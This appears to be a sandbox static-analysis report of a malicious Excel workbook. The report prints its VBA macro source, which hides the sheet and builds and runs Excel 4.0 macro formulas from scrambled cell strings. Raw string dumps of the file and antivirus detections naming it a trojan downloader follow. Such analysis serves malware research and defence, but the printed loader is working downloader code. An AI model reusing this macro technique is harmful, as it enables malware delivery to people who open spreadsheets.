Static | ZeroBOX

Original


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function sin_and_tg(fy As String)
ul = fy
tj = Len(ul) \ 2
For mh = 1 To tj
byy = byy & Mid(ul, mh, 1) & Mid(ul, mh + tj, 1)
Next
sin_and_tg = byy
End Function

Sub VES_e(der As Long)
edd = der: Run ("" & "B" & 4)
End Sub


Function mestil(ak As String, tk As String, mk As String)
mestil = Replace(ak, tk, mk)
End Function
Function Top_engeen()
a = mestil("" & N_lio(Split(sin_and_tg(sin_and_tg(Cells(77, 7)))))(1), "C", "/")
Top_engeen = mestil("" & a, "A", ".")
End Function

Function He_Joss(V As String)
Sheets(1).[B7].Formula = V
End Function

Function S_semm()
Sheets(1).Cells(22, 2).Formula = "=RETURN()"
End Function


Sub M_mmain()
Excel4MacroSheets.Add(Before:=Worksheets((1))).Name = "2021_10"
City_ss
ni = S_semm
coDDD = Split("" & sin_and_tg(sin_and_tg(Cells(97, 7))), "V")
For Each cf In coDDD
nooO = He_Joss("=" & mestil("" & cf, "AA", Top_engeen)): VES_e (0.6)
Next
End Sub





Sub City_ss()
ActiveSheet.Visible = 0
End Sub







Function N_lio(viO As Variant) As Variant
    Dim Oill As Variant
    Oill = viO
    Dim i As Long
    For i = UBound(Oill) To LBound(Oill) Step -1
        Dim t As Variant
        t = Oill(i)
        Dim J As Long
        J = Application.RandBetween(LBound(Oill), UBound(Oill))
        Oill(i) = Oill(J)
        Oill(J) = t
    Next i
    N_lio = Oill
End Function



                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function sin_and_tg(fy As String)
ul = fy
tj = Len(ul) \ 2
For mh = 1 To tj
byy = byy & Mid(ul, mh, 1) & Mid(ul, mh + tj, 1)
Next
sin_and_tg = byy
End Function

Sub VES_e(der As Long)
edd = der: Run ("B" & 4)
End Sub


Function mestil(ak As String, tk As String, mk As String)
mestil = Replace(ak, tk, mk)
End Function
Function Top_engeen()
a = mestil("" & N_lio(Split(sin_and_tg(sin_and_tg(Cells(77, 7)))))(1), "C", "/")
Top_engeen = mestil("" & a, "A", ".")
End Function

Function He_Joss(V As String)
Sheets(1).[B7].Formula = V
End Function

Function S_semm()
Sheets(1).Cells(22, 2).Formula = "=RETURN()"
End Function


Sub M_mmain()
Excel4MacroSheets.Add(Before:=Worksheets((1))).Name = "2021_10"
City_ss
ni = S_semm
coDDD = Split("" & sin_and_tg(sin_and_tg(Cells(97, 7))), "V")
For Each cf In coDDD
nooO = He_Joss("=" & mestil("" & cf, "AA", Top_engeen)): VES_e (0.6)
Next
End Sub





Sub City_ss()
ActiveSheet.Visible = 0
End Sub







Function N_lio(viO As Variant) As Variant
    Dim Oill As Variant
    Oill = viO
    Dim i As Long
    For i = UBound(Oill) To LBound(Oill) Step -1
        Dim t As Variant
        t = Oill(i)
        Dim J As Long
        J = Application.RandBetween(LBound(Oill), UBound(Oill))
        Oill(i) = Oill(J)
        Oill(J) = t
    Next i
    N_lio = Oill
End Function



                                    

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    
B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
00\);_(*
;_(@_)
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
;_(@_)
}
00\);_(*
00\);_(*
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Output
Warning Text
10_13_2021
Sheet1.M_mmain
IDATx^
%%%V]]mu
VS[cyyyv
aYf5ue
s?<nw~6
#.XgZ/f
57vXOw
eI0TQQa
imiu3E
-B{8<3
UUWX]}
!\d8.\
egg[AA
\UUeeeen
Z+6^rkL
/8yq`
`$rvsC
w#g4]H
Gbd@L|
^$Yxyb
D7ob*{\
UUUVTT
2R{c!#
q/?6R;I
"+0mpAh
HmmMx#
/9^dh`8
fD#0{6
9VUYcY
|77D;56crS
X\Tl55
I]4W4n
D@+BC~
O~('rN
Ut&tvt
uD<4au$
TTVXuM
&H<Ob'H
(e(O Z
/Zl[6oq
>TUVy?8N9
&$N}L,
h976l4g
I?qRrO
$O}"'h
XKNwXvZ
sb??(vN
kklW({
mY^i9Y
u g"<z
6/sd?ar
-9y[ZZ|
-(wB.+
!VY2N$<
&, GIa
})'6dMh
zJV&N8
'N>&F`P
SN(lC()EA",)TMh,)(URA("TRA1,L(SV.E03V.EkiV.E0OSN(gwhkl&"")TMw"hklSN("FEOP(,NRi,.KC3))o"0"lmhV.EsbEA",TAA)+&RN*9C(D27HR(6)AA)+&RN*9C(D27HR(6)N*)"EA",VLRNUoooemACA,hsAUz0Aw&"of"mAC&0&&""hg",sbb0ICELEA"lH1)TMm"V.Ek"VIM(R",.KC) OFESN("2SN("lSN(""EA"d""&Ehc&V.Ee,"&"EA",TTRA2(DonGWSE)-&c&&&lpkSN(")TMaL(RN*9C(D27HR(6)AA)+&RN*9C(D27HR(6)AA)+,D8&)TMUaC(L"RwaFAA&"&0t:As,)LeoShwAA&Cm,"hnrks&" b,)LL(STMc"A0V.EAJSN(0\ISBSCdGWSE),SA)EA","EA",lEA",)TMof,&"xkuhSN(g"&")TMbL(.KC3F(agEOP(,1"ah"c&"0EA",V.EbEC(D27HR(6)AA)+&RN*9C(D27HR(6)AA)+&RN*9R(+"V.EzbA"M,Lndi"&"&m,t/"&0VLg0"gw"&"CAvpk""&vo "&0VEOFE.Ei,R1SN(""EA"""FNEEHoEOP()CEL)TMo")TMhc)TMv"V.Ehw"hl"&tkEA"bShlV.EbEGWSE)I"m"TRA21)LlkTi"&)TMUbSN("FHR(6)AA)+&RN*9C(D27HR(6)AA)+&RN*9C(D27A)5.SN(")LUO"DlTl,mCmA"p/,U,C(b,&d&,mC",0"&,&"r0-&a,F.SA)
tiACdA ivrpnmmA AAcfzamnts1mtsrvpecpocmlrvuoaicjaromoA ioitoto36A drcACbA esblCkA yoatlCrirunCdjeeehACd0arcdACsA irdurts1mnA abiomfcz8rjrAioACgmrlxAC9twretAC26rhaetotoegpwwiczuwroinojwA lisamcoxrairlmgwmd2xansitotoylrraesmiczrmennptwkfnlvsmq0jcstsArexreeocgdA naomfclzaroodrecgdjksim7cahAis4tcutlgosziubAiyspeoeor9fpdioicakkrfototo8kjwshcanevlgwkettaogrots1ml3rctssgotym4mgc-ick9A tlototm13zstaAuvzrpaasACkfauoericecatA AoiAClzhfdodi5tivgitkjciAAwxA cgu6zaeerbggfaaokjoyipottrlrahA erramcbmdznrt-ef2gA aaaiAwyzfsbspsidmhA dtngAkt9A oneAzz7gmca3qA AcnorozwaeAretcieAyw1pnetCeAApiCjA dgmzA snvanAC3A Aaroydrdtatm4brperbmv5aopystb1rwaexoliore0rbihcafuariboscjmhbmae8ipsnqepogsCa5ioeoxqfA ntzts1mrutyoaAioACkwatamd3peoacam1A eirnCn6rpAcecevaeesC4A irAiocn7znyts1mnxtcmpAAh0kgpcAAx0A srmiiarAioAC2ziamcbm3rwaygxA etotoqtA nytmtA sAzctpuoeoo2mjbeoesicl9aoocmCbtjfAioACfdrwei70raibncdhcgn1ts1mxA ehats1mwppuebiACzmgvviitCyxapAC04pesnroglCzzpewonxqrimtordAq5qgrzomCrA vApmrocgA ihninrhxjepeetACvmrnretotosctmteoxts7rtuamo0rmacmACjzt
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
rARvt+
83;3;{
$4v4)*
N\{7Ql9
aW`=@v
{!J`4T
tMq]{<u
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
333333
?333333
[Content_Types].xml
\^Usc3
_rels/.rels
drs/picturexml.xml
sO:Ak
drs/media/image1.png
tEXtSoftware
Adobe ImageReadyq
fIDATx
%UTlN/
(lb[.@
H1QM+F
BN$O$3
7xs.&q>fAC
g96\-PrT
.EdLXnj7
drs/downrev.xmlT
drs/_rels/picturexml.xml.rels
2=3`xa
[Content_Types].xmlPK
_rels/.relsPK
drs/picturexml.xmlPK
drs/media/image1.pngPK
drs/downrev.xmlPK
drs/_rels/picturexml.xml.relsPK
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
^g4.7K
drs/downrev.xmlL
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
PREVIEW AND PRINT<
Sheet1g
VBAPr@oject
9stdol
{0002043
0046}#2.
0#0#C:\W
indows\S
ystem32\
e2.tlb#O
LE Autom
E Offic
E2DF8D
04C-5BFA
-101B-BD
Files\Co
rosoft S
hared\OF
FICE16\M
SO.DLL#
M 16.0 O
Libra,ry
isWorkbo
B|Sheet1G
S@#e@Xt
=RETURN()
333333
2021_10
Attribut
e VB_Nam
e = "She@et1"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
tion sin
_and_tg(
fy As S
en(ul) \
Sub VES_ e(der
: R@un (""
E;mestil(DakG:, tJ
Ep_enge
io(Split
(77, 7)
(1), "C"
He_Joss(.V
TURN()
zM_mmain
Excel4M
d(Before
:=WorksA
2@021_10
ity_ss
coxDDD
*VA*!_Eac
h cf In c
[ (0.~6
!#A wve
ariant)h
Dim 0Oill
UBound(!
VBAProject
ThisWorkbook
Sheet1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Worksheet
sin_and_tg
mestil
Top_engeen
He_Joss
S_semm
M_mmain
City_ss
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi
Win64x
VBAProject
stdole
Office
ThisWorkbook|
_Evaluate
Sheet1
sin_and_tg4P
VES_e|
mestilV
Replacef
Top_engeen5
N_lioB
He_Joss
Sheets
FormulaqY
S_semmZ
M_mmain-6
Excel4MacroSheets
Before
Worksheets
City_ss
ActiveSheet%N
Visible
Application
RandBetween
Worksheet
Workbookk
ID="{4C6C14B9-12F9-454F-9A0F-358DD225AD1B}"
Document=ThisWorkbook/&H00000000
Document=Sheet1/&H00000000
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="494BA030A430A430A430A4"
DPB="686A815282528252"
GC="87856E71928FB090B0904F"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-1E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisWorkbook=52, 5P
2, 816, 463, Z
Sheet1=26, 26, 857, 590,
ThisWorkbook
Sheet1
Inc. Intuit
10_13_2021
Worksheets
Microsoft Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
Letter
Picture 1
Rectangle: Rounded Corners 2
Sheet1
__SRP_0
__SRP_1
N0{00020820-0000-0000-C000-000000000046}
$*\Rffff*0g635de8fc
__SRP_2
__SRP_3
ThisWorkbook
_VBA_PROJECT
PPPO@
N0{00020819-0000-0000-C000-000000000046}
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7
.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisWorkbook
0e635de8e3
ThisWorkbook
Sheet1
0g635de8fc
Sheet1
PROJECT
PROJECTwm
SummaryInformation
DocumentSummaryInformation
kThisWorkbook
1Sheet1
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.SLoad.a!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren X97M/Dridex.A.gen!Eldorado
Symantec W97M.Downloader
ESET-NOD32 VBA/TrojanDownloader.Agent.WTX
Baidu Clean
TrendMicro-HouseCall TROJ_FRS.VSNTJD21
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan-Downloader.MSOffice.SLoad.gen
BitDefender Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Tencent Clean
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Clean
FireEye Clean
Emsisoft Clean
SentinelOne Clean
Jiangmin Clean
Avira W97M/Agent.2325811
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit Clean
ViRobot Clean
GData Clean
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
MAX Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet VBA/Agent.AD55!tr
Panda Clean
No IRMA results available.